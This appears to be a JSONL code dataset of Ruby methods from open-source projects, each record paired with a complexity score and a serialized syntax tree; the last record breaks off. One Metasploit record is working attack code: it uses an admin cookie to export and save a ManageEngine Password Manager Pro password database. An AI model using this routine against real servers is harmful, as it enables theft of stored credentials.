{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/default/attachments.rb","start_line":44,"raw_source":"def write_attachments_list_table(rows, columns_count)\n with_vertical_margin(styles.attachments_margins) do\n pdf.table(\n rows,\n column_widths: attachments_list_table_column_widths(columns_count),\n cell_style: styles.attachments_table_cell\n )\n end\n end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write_attachments_list_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rows\"]},{\"type\":\"arg\",\"children\":[\"columns_count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_vertical_margin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"attachments_margins\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"table\",{\"type\":\"lvar\",\"children\":[\"rows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_widths\"]},{\"type\":\"send\",\"children\":[null,\"attachments_list_table_column_widths\",{\"type\":\"lvar\",\"children\":[\"columns_count\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cell_style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"styles\"]},\"attachments_table_cell\"]}]}]}]}]}]}","id":"4f634e33-05be-4596-9df0-8ab621d8ab81"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb","start_line":255,"raw_source":"def loot_passwords(cookie_admin)\n # 1st we turn on password exports\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),\n 'cookie' => cookie_admin,\n 'vars_post' => {\n 'IS_XLS' => 'true',\n 'includePasswd' => 'true',\n 'HOMETAB' => 'true',\n 'RESTAB' => 'true',\n 'RGTAB' => 'true',\n 'PASSWD_RULE' => 'Offline Password File',\n 'LOGOUT_TIME' => '20'\n }\n })\n\n # now get the loot!\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),\n 'cookie' => cookie_admin,\n 'vars_get' => {\n 'RequestType' => 'ExportResources'\n }\n })\n\n if res && res.code == 200 && res.body && !res.body.to_s.empty?\n vprint_line(res.body.to_s)\n print_good('Successfully exported password database from Password Manager Pro.')\n loot_name = 'manageengine.passwordmanagerpro.password.db'\n loot_type = 'text/csv'\n loot_filename = 'manageengine_pmp_password_db.csv'\n loot_desc = 'ManageEngine Password Manager Pro Password DB'\n p = store_loot(\n loot_name,\n loot_type,\n rhost,\n res.body,\n loot_filename,\n loot_desc\n )\n print_status(\"Password database saved in: #{p}\")\n else\n print_error('Failed to export Password Manager Pro passwords.')\n end\n end","complexity_score":44.05,"ast_json":"{\"type\":\"def\",\"children\":[\"loot_passwords\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie_admin\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"ConfigureOffline.ve\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie_admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"IS_XLS\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"includePasswd\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"HOMETAB\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RESTAB\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RGTAB\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWD_RULE\"]},{\"type\":\"str\",\"children\":[\"Offline Password File\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LOGOUT_TIME\"]},{\"type\":\"str\",\"children\":[\"20\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"jsp\"]},{\"type\":\"str\",\"children\":[\"xmlhttp\"]},{\"type\":\"str\",\"children\":[\"AjaxResponse.jsp\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie_admin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequestType\"]},{\"type\":\"str\",\"children\":[\"ExportResources\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully exported password database from Password Manager Pro.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_name\",{\"type\":\"str\",\"children\":[\"manageengine.passwordmanagerpro.password.db\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_type\",{\"type\":\"str\",\"children\":[\"text/csv\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_filename\",{\"type\":\"str\",\"children\":[\"manageengine_pmp_password_db.csv\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_desc\",{\"type\":\"str\",\"children\":[\"ManageEngine Password Manager Pro Password DB\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"lvar\",\"children\":[\"loot_name\"]},{\"type\":\"lvar\",\"children\":[\"loot_type\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},{\"type\":\"lvar\",\"children\":[\"loot_filename\"]},{\"type\":\"lvar\",\"children\":[\"loot_desc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Password database saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to export Password Manager Pro passwords.\"]}]}]}]}]}","id":"aa1b63c6-60ee-4179-9b6e-062d279d8921"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/wiki_link_gollum_filter.rb","start_line":97,"raw_source":"def set_common_attributes(node)\n node.add_class('gfm')\n node['data-canonical-src'] = node[:href]\n node['data-link'] = true\n node['data-gollum'] = true\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_common_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"add_class\",{\"type\":\"str\",\"children\":[\"gfm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-canonical-src\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"href\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-link\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"data-gollum\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"af901614-b05c-4f3e-b855-ba4341439f3d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/cracker.rb","start_line":274,"raw_source":"def mode_normal\n if cracker == 'john'\n self.max_runtime = nil\n self.mask = nil\n self.wordlist = nil\n self.rules = nil\n self.incremental = nil\n self.increment_length = nil\n end\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mode_normal\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cracker\"]},\"==\",{\"type\":\"str\",\"children\":[\"john\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max_runtime=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mask=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"wordlist=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rules=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"incremental=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"increment_length=\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"791fad75-fedd-4bc8-96f3-2bfc54475469"} {"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/cli.rb","start_line":218,"raw_source":"def handle_signal(sig)\n logger.debug \"Got #{sig} signal\"\n SIGNAL_HANDLERS[sig].call(self)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_signal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sig\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sig\"]}]},{\"type\":\"str\",\"children\":[\" signal\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SIGNAL_HANDLERS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"sig\"]}]},\"call\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"578cb472-81ca-4389-9f93-96e2dbc051c4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/destroy_service.rb","start_line":21,"raw_source":"def cleanup?\n Gitlab::Utils.to_boolean(params[:cleanup])\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cleanup\"]}]}]}]}","id":"68a24b9f-e88d-43ee-9961-54b9a34e670f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/members/invite_members_modal.rb","start_line":57,"raw_source":"def invite_group(group_name, access_level = 'Guest', refresh_page: true)\n open_invite_group_modal\n\n within_element('invite-modal') do\n click_button 'Select a group'\n\n Support::WaitForRequests.wait_for_requests\n\n search_and_select(group_name)\n\n set_access_level(access_level)\n end\n\n send_invite(refresh_page)\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]},{\"type\":\"optarg\",\"children\":[\"access_level\",{\"type\":\"str\",\"children\":[\"Guest\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"refresh_page\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_invite_group_modal\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"invite-modal\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_button\",{\"type\":\"str\",\"children\":[\"Select a group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"WaitForRequests\"]},\"wait_for_requests\"]},{\"type\":\"send\",\"children\":[null,\"search_and_select\",{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},{\"type\":\"send\",\"children\":[null,\"set_access_level\",{\"type\":\"lvar\",\"children\":[\"access_level\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_invite\",{\"type\":\"lvar\",\"children\":[\"refresh_page\"]}]}]}]}","id":"cff7c9b7-4a77-4fc4-aa88-490929d58413"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/media_attachment_serializer.rb","start_line":44,"raw_source":"def text_url\n object.local? && object.shortcode.present? ? medium_url(object) : nil\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"text_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"local?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"shortcode\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[null,\"medium_url\",{\"type\":\"send\",\"children\":[null,\"object\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"c11ea163-a79f-442f-afa2-5965da08b94a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/account_controller.rb","start_line":421,"raw_source":"def invited_account_not_activated(_user)\n flash_error_message(log_reason: \"invited, NOT ACTIVATED\", flash_now: false) do\n \"account.error_inactive_activation_by_mail\"\n end\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"invited_account_not_activated\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash_error_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_reason\"]},{\"type\":\"str\",\"children\":[\"invited, NOT ACTIVATED\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flash_now\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"account.error_inactive_activation_by_mail\"]}]}]}","id":"1097407f-3df2-47ac-aa39-8a89172a4ba9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_partitioned_uploads.rb","start_line":76,"raw_source":"def process_upload_type(sub_batch, model_table, model_name, sources, targets, join_key, db_name)\n relation = sub_batch.select(:id, :model_type).limit(sub_batch_size)\n targets ||= sources\n join_key ||= 'id'\n # Columns that will be reset (nullified) as they are not used for sharding keys\n reset_columns = sharding_key_columns - targets\n # All columns to back-fill\n target_columns = (columns + targets + reset_columns).join(', ')\n # All columns to source from\n source_columns = source_columns_sql(sources, reset_columns)\n # For existing records update only sharding key columns (if any)\n on_conflict = if targets.any?\n \"UPDATE SET #{sharding_key_columns.map { |c| \"#{c} = EXCLUDED.#{c}\" }.join(', ')}\"\n else\n \"NOTHING\"\n end\n\n # For models stored in the Sec database we need to first fetch the values needed,\n # and add them to the upsert as CTE\n model_values_cte = \"\"\n if db_name == :sec\n sec_cte = sec_model_values_cte(sub_batch, model_name, join_key, sources, model_table)\n return unless sec_cte\n\n source_columns = source_columns_sql(sources, reset_columns, nullif: true)\n model_values_cte = sec_cte\n end\n\n upsert = <<~SQL\n WITH relation AS MATERIALIZED (#{relation.to_sql}),\n filtered_relation AS MATERIALIZED (\n SELECT id FROM relation WHERE model_type = '#{model_name}' LIMIT #{sub_batch_size}\n )\n #{model_values_cte}\n INSERT INTO uploads_9ba88c4165 (#{target_columns})\n SELECT #{source_columns} FROM uploads\n JOIN #{model_table} AS model ON uploads.model_id = model.#{join_key}\n WHERE uploads.id IN (SELECT id FROM filtered_relation)\n ON CONFLICT ON CONSTRAINT uploads_9ba88c4165_pkey DO #{on_conflict}\n SQL\n\n connection.execute(upsert)\n end","complexity_score":41.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_upload_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]},{\"type\":\"arg\",\"children\":[\"model_table\"]},{\"type\":\"arg\",\"children\":[\"model_name\"]},{\"type\":\"arg\",\"children\":[\"sources\"]},{\"type\":\"arg\",\"children\":[\"targets\"]},{\"type\":\"arg\",\"children\":[\"join_key\"]},{\"type\":\"arg\",\"children\":[\"db_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"model_type\"]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"sub_batch_size\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"targets\"]},{\"type\":\"lvar\",\"children\":[\"sources\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"join_key\"]},{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"reset_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sharding_key_columns\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"targets\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_columns\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"targets\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"reset_columns\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_columns\",{\"type\":\"send\",\"children\":[null,\"source_columns_sql\",{\"type\":\"lvar\",\"children\":[\"sources\"]},{\"type\":\"lvar\",\"children\":[\"reset_columns\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"on_conflict\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"any?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE SET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sharding_key_columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"str\",\"children\":[\" = EXCLUDED.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]},{\"type\":\"str\",\"children\":[\"NOTHING\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model_values_cte\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"sec\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sec_cte\",{\"type\":\"send\",\"children\":[null,\"sec_model_values_cte\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},{\"type\":\"lvar\",\"children\":[\"model_name\"]},{\"type\":\"lvar\",\"children\":[\"join_key\"]},{\"type\":\"lvar\",\"children\":[\"sources\"]},{\"type\":\"lvar\",\"children\":[\"model_table\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sec_cte\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"source_columns\",{\"type\":\"send\",\"children\":[null,\"source_columns_sql\",{\"type\":\"lvar\",\"children\":[\"sources\"]},{\"type\":\"lvar\",\"children\":[\"reset_columns\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nullif\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model_values_cte\",{\"type\":\"lvar\",\"children\":[\"sec_cte\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"upsert\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH relation AS MATERIALIZED (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\"),\\n\"]},{\"type\":\"str\",\"children\":[\" filtered_relation AS MATERIALIZED (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT id FROM relation WHERE model_type = '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"str\",\"children\":[\"' LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sub_batch_size\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" )\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_values_cte\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"INSERT INTO uploads_9ba88c4165 (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_columns\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_columns\"]}]},{\"type\":\"str\",\"children\":[\" FROM uploads\\n\"]},{\"type\":\"str\",\"children\":[\"JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_table\"]}]},{\"type\":\"str\",\"children\":[\" AS model ON uploads.model_id = model.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"join_key\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE uploads.id IN (SELECT id FROM filtered_relation)\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT ON CONSTRAINT uploads_9ba88c4165_pkey DO \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"on_conflict\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"upsert\"]}]}]}]}","id":"1430aba1-becc-4c29-abb1-85594201cdfa"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/organizations/projects_resolver.rb","start_line":16,"raw_source":"def finder_params(args)\n super.merge(organization: organization)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"finder_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"send\",\"children\":[null,\"organization\"]}]}]}]}]}","id":"07c40b14-8e89-4571-bdaa-245c8b0c48a8"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/features/activities/work_package/activity_tab_comment_editor_spec.rb","start_line":64,"raw_source":"def expect_editor_to_be_dismissed\n activity_tab.add_comment(text: \"Sample text\", save: false)\n activity_tab.clear_comment\n\n activity_tab.expect_focus_on_editor\n yield\n\n expect(page).not_to have_test_selector(\"op-work-package-journal-form-element\")\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_editor_to_be_dismissed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tab\"]},\"add_comment\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"Sample text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"save\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tab\"]},\"clear_comment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"activity_tab\"]},\"expect_focus_on_editor\"]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"op-work-package-journal-form-element\"]}]}]}]}]}","id":"9205cce2-650f-441b-8981-c15422353357"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/record_identifier_test.rb","start_line":20,"raw_source":"def test_dom_id_with_new_record\n assert_equal \"new_#{@singular}\", dom_id(@record)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_dom_id_with_new_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"new_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@singular\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dom_id\",{\"type\":\"ivar\",\"children\":[\"@record\"]}]}]}]}","id":"0cc22d89-a1ef-42e1-ab55-701eeb8751c4"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/journals/lazy_page_component.rb","start_line":57,"raw_source":"def wrapper_data_attributes\n {\n controller: lazy_page_stimulus_controller,\n lazy_page_stimulus_controller(\"-page-value\") => page,\n lazy_page_stimulus_controller(\"-url-value\") => page_streams_url,\n lazy_page_stimulus_controller(\"-is-loaded-value\") => false\n }\n 